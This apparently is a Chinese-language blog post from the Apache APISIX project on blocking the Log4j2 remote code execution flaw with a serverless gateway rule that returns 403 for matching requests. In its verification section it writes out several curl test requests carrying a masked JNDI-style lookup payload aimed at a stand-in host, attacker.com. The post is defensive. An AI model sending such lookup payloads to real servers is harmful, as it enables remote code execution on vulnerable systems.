近日網路上曝光了 Apache Log4j2 的遠端程式碼執行漏洞。該漏洞在 Apache Log4j2 的開發團隊完全修復之前提前曝光,導致在野利用,使用 Log4j2 的 2.x 至 2.14.1 的版本的專案均有被攻擊風險。
漏洞利用分析
從該漏洞復現過程我們可以分析出,利用該漏洞的關鍵步驟是構造惡意的 payload,類似於
{xxxxx//attacker.com/a}
在官方釋出完全修復版本以及當前環境升至修復版本之前,需要一種臨時措施來攔截攜帶改惡意負載的請求,保護服務不受該漏洞的在野攻擊。
Apache APISIX 應對措施
我們可以在 Apache APISIX 上過濾請求負載,用正則匹配惡意的 payload 的關鍵詞,並對其進行攔截。
假設 payload 的關鍵字為 "xxxxx",可以用 serverless 外掛執行自定義攔截指令碼,配置示例如下:
curl http://127.0.0.1:9080/apisix/admin/routes/1 -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '
{
"uri": "/*",
"plugins":{
"serverless-pre-function":{
"phase":"rewrite",
"functions":[
"return function(conf, ctx) local core = require(\"apisix.core\"); local payload, err = core.request.get_body(); if not payload then local uri_args, err = core.request.get_uri_args(ctx)\n if uri_args then payload = core.json.encode(uri_args, true) end; end; local m = ngx.re.match(payload, \"xxxxx\", \"jo\"); if m then ngx.exit(403) end; end"
]
}
},
"upstream": {
"type": "roundrobin",
"nodes": {
"127.0.0.1:1980": 1
}
}
}'
注意:上述配置中 serverless-pre-function
相關的配置是自定義指令碼部分。其他配置為 Apache APISIX 常規配置,請根據實際情況調整。
上述 functions 欄位對應的指令碼中主要做了以下事情
- 提取請求負載(包括 GET 請求的 URL 傳參方式和 POST/PUT 請求體傳參方式)
- 正則匹配惡意負載
- 攔截攜帶惡意負載的請求
該指令碼提供了處理此類惡意負載請求的實現思路,主要是進行捕獲攻擊特徵,比如 jndi
關鍵字等。大家可以根據自己的需求,對該指令碼進行完善或者優化。
驗證
攔截在 GET 請求引數中攜帶惡意負載:
curl -I 'http://127.0.0.1:9080/hello?foo=${xxxxx//attacker.com/a}'
HTTP/1.1 403 Forbidden
……
攔截在 POST 請求體 (application/json) 中攜帶惡意負載:
curl -i 'http://127.0.0.1:9080/hello' -H 'Content-Type: application/json' -X POST -d '
{
"foo": "${xxxxx//attacker.com/a}"
}'
HTTP/1.1 403 Forbidden
……
攔截在 POST 請求體 (text/plain) 中攜帶惡意負載:
curl -i 'http://127.0.0.1:9080/hello' -H 'Content-Type: text/plain' -X POST -d '
{xxxxx//attacker.com/a}'
HTTP/1.1 403 Forbidden
……
攔截在 POST 請求體 (application/x-www-form-urlencoded,不對請求體進行 URL 編碼) 中攜帶惡意負載:
curl -i 'http://127.0.0.1:9080/hello' -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d '
foo=${xxxxx//attacker.com/a}'
HTTP/1.1 403 Forbidden
……
關於 Apache APISIX
Apache APISIX 是一個動態、實時、高效能的開源 API 閘道器,提供負載均衡、動態上游、灰度釋出、服務熔斷、身份認證、可觀測性等豐富的流量管理功能。Apache APISIX 可以幫助企業快速、安全地處理 API 和微服務流量,包括閘道器、Kubernetes Ingress 和服務網格等。
Apache APISIX 落地使用者(僅部分)
- Apache APISIX GitHub:https://github.com/apache/apisix
- Apache APISIX 官網:https://apisix.apache.org/
- Apache APISIX 文件:https://apisix.apache.org/zh/...